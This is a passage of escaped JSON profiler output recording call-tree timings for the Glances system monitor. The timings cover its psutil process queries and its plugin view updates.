{},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001984,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l680\": 0.0019990420041722246},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l1593\": 0.0019990420041722246},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l1740\": 0.0019990420041722246},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l1593\": 0.0019990420041722246},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l382\": 0.0019990420041722246},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l1687\": 0.0019990420041722246},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000750\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019982490048278123, \"l753\": 0.0019982490048278123},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019982490048278123, \"l1593\": 0.0019982490048278123},\"children\": [{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002190\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019982490048278123, \"l2192\": 0.0019982490048278123},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999952997721266, \"l1078\": 0.001999952997721266},\"children\": [{\"identifier\": \"timer\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001066\",\"time\": 0.002000,\"attributes\": {\"l1067\": 0.001999952997721266},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000077999080531, \"l687\": 0.004000077999080531},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000077999080531, \"l748\": 0.004000077999080531},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000077999080531, \"l1593\": 0.004000077999080531},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000077999080531, \"l1750\": 0.004000077999080531},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002001,\"attributes\": {\"l692\": 0.0020014609981444664},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.002000414999201894, \"l148\": 0.002000414999201894},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000414999201894, \"l542\": 0.002000414999201894},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002000,\"attributes\": {\"l404\": 0.002000414999201894},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000220003945287, \"l382\": 0.004000220003945287},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200070899882121, \"l1138\": 0.00200070899882121},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200070899882121, \"l1593\": 0.00200070899882121},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200070899882121, \"l1878\": 0.00200070899882121},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999511005124077, \"l1127\": 0.001999511005124077},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999511005124077, \"l1593\": 0.001999511005124077},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999511005124077, \"l1835\": 0.001999511005124077},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002230012323707, \"l1078\": 0.0020002230012323707},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002010,\"attributes\": {\"c_GeneratorContextManager\": 0.0020097769956919365, \"l148\": 0.0020097769956919365},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002010,\"attributes\": {\"cProcess\": 0.0020097769956919365, \"l543\": 0.0020097769956919365},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.002010,\"attributes\": {\"cProcess\": 0.0020097769956919365, \"l1735\": 0.0020097769956919365},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002010,\"attributes\": {\"l404\": 0.0020097769956919365},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002010,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003990,\"attributes\": {\"cProcess\": 0.003990488003182691, \"l687\": 0.003990488003182691},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.003990,\"attributes\": {\"cProcess\": 0.003990488003182691, \"l748\": 0.003990488003182691},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003990,\"attributes\": {\"cProcess\": 0.003990488003182691, \"l1593\": 0.003990488003182691},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.003990,\"attributes\": {\"cProcess\": 0.003990488003182691, \"l1751\": 0.001990427997952793, \"l1750\": 0.002000060005229898},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []},{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002000,\"attributes\": {\"l692\": 0.002000060005229898},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018009963678196, \"l1079\": 0.0020018009963678196},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018009963678196, \"l1593\": 0.0020018009963678196},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990430009784177, \"l836\": 0.0019990430009784177},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990430009784177, \"l1593\": 0.0019990430009784177},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990430009784177, \"l1802\": 0.0019990430009784177},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008760038763285, \"l939\": 0.0020008760038763285},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008760038763285, \"l1593\": 0.0020008760038763285},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008760038763285, \"l2052\": 0.0020008760038763285},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008760038763285, \"l1593\": 0.0020008760038763285},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008760038763285, \"l382\": 0.0020008760038763285},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008760038763285, \"l1718\": 0.0020008760038763285},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.0020008760038763285},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199862799490802, \"l687\": 0.00199862799490802},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199862799490802, \"l748\": 0.00199862799490802},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199862799490802, \"l1593\": 0.00199862799490802},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199862799490802, \"l1754\": 0.00199862799490802},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199862799490802, \"l1647\": 0.00199862799490802},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199862799490802, \"l1638\": 0.00199862799490802},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001999,\"attributes\": {\"l730\": 0.00199862799490802},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001999,\"attributes\": {\"l718\": 0.00199862799490802},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"helper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000303\",\"time\": 0.001999,\"attributes\": {\"l305\": 0.0019989139982499182},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000108\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019989139982499182, \"l112\": 0.0019989139982499182},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001157002581749, \"l639\": 0.008001157002581749},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001157002581749, \"l314\": 0.008001157002581749},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001157002581749, \"l347\": 0.008001157002581749},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001157002581749, \"l394\": 0.008001157002581749},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001157002581749, \"l1593\": 0.008001157002581749},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001157002581749, \"l1857\": 0.008001157002581749},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001157002581749, \"l1593\": 0.008001157002581749},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001157002581749, \"l375\": 0.008001157002581749},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019984380051027983, \"l1688\": 0.0019984380051027983},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011870001326315, \"l1683\": 0.0020011870001326315},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.0020011870001326315},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.0020011870001326315},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"is_selected_extended_process\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000463\",\"time\": 0.001999,\"attributes\": {\"cGlancesProcesses\": 0.001999031002924312, \"l466\": 0.001999031002924312},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.004000,\"attributes\": {\"cGlancesProcesses\": 0.0040001410015975125, \"l689\": 0.0040001410015975125},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.004000,\"attributes\": {\"l589\": 0.0040001410015975125},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.004000,\"attributes\": {\"l584\": 0.0040001410015975125},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.002001,\"attributes\": {\"cpmem\": 0.002001462002226617, \"l478\": 0.002001462002226617},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999501997488551, \"l155\": 0.001999501997488551},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.001999501997488551, \"l711\": 0.001999501997488551},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002000,\"attributes\": {\"l71\": 0.001999501997488551},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.002000,\"attributes\": {\"l46\": 0.001999501997488551},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000602\",\"time\": 0.002000,\"attributes\": {\"cCounter\": 0.001999501997488551, \"l614\": 0.001999501997488551},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007999,\"attributes\": {\"cProgramlistPlugin\": 0.007998745997610968, \"l678\": 0.007998745997610968},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007999,\"attributes\": {\"cProgramlistPlugin\": 0.007998745997610968, \"l656\": 0.0020000829972559586, \"l633\": 0.003999577995273285, \"l634\": 0.0019990850050817244},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995559996459633, \"l619\": 0.0019995559996459633},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019990850050817244, \"l628\": 0.0019990850050817244},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002006,\"attributes\": {\"l1295\": 0.0020060680035385303},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000109\",\"time\": 0.002006,\"attributes\": {\"cNetworkPlugin\": 0.0020060680035385303, \"l116\": 0.0020060680035385303},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002006,\"attributes\": {\"cNetworkPlugin\": 0.0020060680035385303, \"l1351\": 0.0020060680035385303},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000130\",\"time\": 0.002006,\"attributes\": {\"cNetworkPlugin\": 0.0020060680035385303, \"l156\": 0.0020060680035385303},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002289\",\"time\": 0.002006,\"attributes\": {\"l2301\": 0.0020060680035385303},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000992\",\"time\": 0.002006,\"attributes\": {\"l1005\": 0.0020060680035385303},\"children\": [{\"identifier\": \"net_if_duplex_speed\\u0000<built-in>\\u00000\",\"time\": 0.002006,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009994,\"attributes\": {\"cProcesslistPlugin\": 0.009994339998229407, \"l678\": 0.009994339998229407},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019992399975308217, \"l633\": 0.0019992399975308217},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019992399975308217, \"l621\": 0.0019992399975308217},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.004000061999249738, \"l633\": 0.002000665001105517, \"l634\": 0.0019993969981442206},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000665001105517, \"l623\": 0.002000665001105517},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993969981442206, \"l628\": 0.0019993969981442206},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000216\",\"time\": 0.002002,\"attributes\": {\"cSensorsPlugin\": 0.0020021829986944795, \"l219\": 0.0020021829986944795},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002002,\"attributes\": {\"cSensorsPlugin\": 0.0020021829986944795, \"l678\": 0.0020021829986944795},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002002,\"attributes\": {\"cSensorsPlugin\": 